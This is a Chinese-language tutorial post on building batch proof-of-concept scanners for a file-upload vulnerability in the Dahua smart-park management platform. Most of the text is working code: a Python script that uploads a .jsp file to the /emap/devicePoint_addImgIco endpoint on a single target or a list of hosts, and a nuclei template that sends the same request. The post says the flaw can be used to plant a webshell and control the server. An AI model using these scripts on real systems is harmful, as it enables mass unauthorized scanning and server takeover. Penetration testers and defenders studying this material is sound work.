在做项目的时候会遇到批量检测一个漏洞的情况,如果一个一个手工检测将会大大降低工作效率费时费力,本次已在渗透过程中遇到的dahua_emap文件上传漏洞为例,展示简单的批量自动化poc编写方法。

漏洞描述

大华智慧园区综合管理平台一体机,绕运营管理、综合安防、便捷通行、协同办公等多个业务领域展开,依托AI、物联网、大数据技术实现园区管理数字化升级,实现安全等级提升、工作效率提升、管理成本下降。大华智慧园区综合管理平台存在多个逻辑漏洞,通过组合利用可上传webshell从而控制服务器。

抓包复现详情

poc编写

python实现

先编写单个poc代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# 首先导入脚本所需要的模块
import requests
from requests.packages import urllib3

# 这条代码用来屏蔽urllib的错误提示
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def poc(target):
# 按照burp抓到的请求包数据,填写到url变量和headers变量中
url = target+"/emap/devicePoint_addImgIco?hasSubsystem=true"
headers = {
"Content-Type": "multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.69",
"Accept": "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2",
"Connection": "close"
}
# 其中请求正文数据以data变量接收
data={
"--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT\r\n"
'Content-Disposition: form-data; name="upload"; filename="1.jsp"\r\n'
"Content-Type: application/octet-stream\r\n"
"Content-Transfer-Encoding: binary\r\n"
"\r\n"
"123\r\n"
"--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT--"
}

# 利用requests.post模块发送请求数据,再用rep变量接收返回包
rep = requests.post(url, headers=headers, data=data, verify=False)
print (rep.content)
# 下面是检测部分,由于该漏洞在返回数据时,如果上传成功就会返回"code":1,所以当返回包中含有"code":1时就被判定为存在该漏洞
if '"code":1' in str(rep.content):
print (f"{target}存在emap文件上传漏洞")
else:
print (f"{target}不存在emap文件上传漏洞")
poc(http://xxxxxxx)

为这个poc添加批量检测以及参数控制功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pyfiglet import Figlet
import argparse
import time

def main():
# 以下是参数接收控制以及logo部分
f = Figlet(width=2000)
print(f.renderText("Dahua-Scan"))

parser = argparse.ArgumentParser(description='检测大华智慧园区管理平台文件上传漏洞')

parser.add_argument("-u", "--url", help='扫描单个url')
parser.add_argument("-f", "--file", help='批量扫描IP')
args = parser.parse_args()

# 用个条件判断语句判断接收的参数是批量检测还是单个检测,从而实现不同功能
if args.url: # 检测单个url
poc(args.url)

elif args.file: # 检测批量url文件
try:
f = open(args.file, "r")
urls = f.readlines()
for i in urls:
url = i.strip()
if poc(url):
with open('vulnerable.txt', 'a+') as fp:
fp.write(url + '\n')
print (f"{url}已记录到vulnerable.txt")
time.sleep(0.2)
except:
print("error")

所有代码合在一起就构成了一个完整的批量检测漏洞的poc脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import requests
from requests.packages import urllib3
from pyfiglet import Figlet
import argparse
import time
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def poc(target):
url = target+"/emap/devicePoint_addImgIco?hasSubsystem=true"
headers = {
"Content-Type": "multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.69",
"Accept": "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2",
"Connection": "close"
}

data={
"--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT\r\n"
'Content-Disposition: form-data; name="upload"; filename="1.jsp"\r\n'
"Content-Type: application/octet-stream\r\n"
"Content-Transfer-Encoding: binary\r\n"
"\r\n"
"123\r\n"
"--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT--"
}
rep = requests.post(url, headers=headers, data=data, verify=False)
print (rep.content)
if '"code":1' in str(rep.content):
print (f"{target}存在emap文件上传漏洞")
else:
print (f"{target}不存在emap文件上传漏洞")

def main():
f = Figlet(width=2000)
print(f.renderText("Dahua-Scan"))

parser = argparse.ArgumentParser(description='检测大华智慧园区管理平台文件上传漏洞')

parser.add_argument("-u", "--url", help='扫描单个url')
parser.add_argument("-f", "--file", help='批量扫描IP')
args = parser.parse_args()

if args.url:
poc(args.url)

elif args.file:
try:
f = open(args.file, "r")
urls = f.readlines()
for i in urls:
url = i.strip()
if poc(url):
with open('vulnerable.txt', 'a+') as fp:
fp.write(url + '\n')
print (f"{url}已记录到vulnerable.txt")
time.sleep(0.2)
except:
print("error")

if __name__ == '__main__':
main()

效果如下:

yaml实现

除了python编写批量检测脚本,日常使用中也多用到nuclei检测,nuclei poc编写较为简单,也可以用burp中nuclei插件一键生成

插件项目地址:https://github.com/projectdiscovery/nuclei-burp-plugin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
id: dahua-RCE

info:
name: dahua-RCE
author: anonymous
severity: info
description: description
reference:
- https://
tags: tags

requests:
- raw:
- |+
POST /emap/devicePoint_addImgIco?hasSubsystem=true HTTP/1.1
Content-Type: multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.69
Host: {{Hostname}}
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 224
Connection: close

--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
Content-Disposition: form-data; name="upload"; filename="1.jsp"
Content-Type: application/octet-stream
Content-Transfer-Encoding: binary

123
--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT--


matchers-condition: and
matchers:
- type: word
part: body
words:
- '"code":1'
- type: status
status:
- 200

之后运行nuclei.exe -u xxx -t dahua-RCE.yaml检测单条,参数-l批量检测。

注:该代码仅供学习交流,请勿用作违法活动。

项目中在证明漏洞存在后一定要及时删除上传的文件,或者告知客户上传文件位置以便删除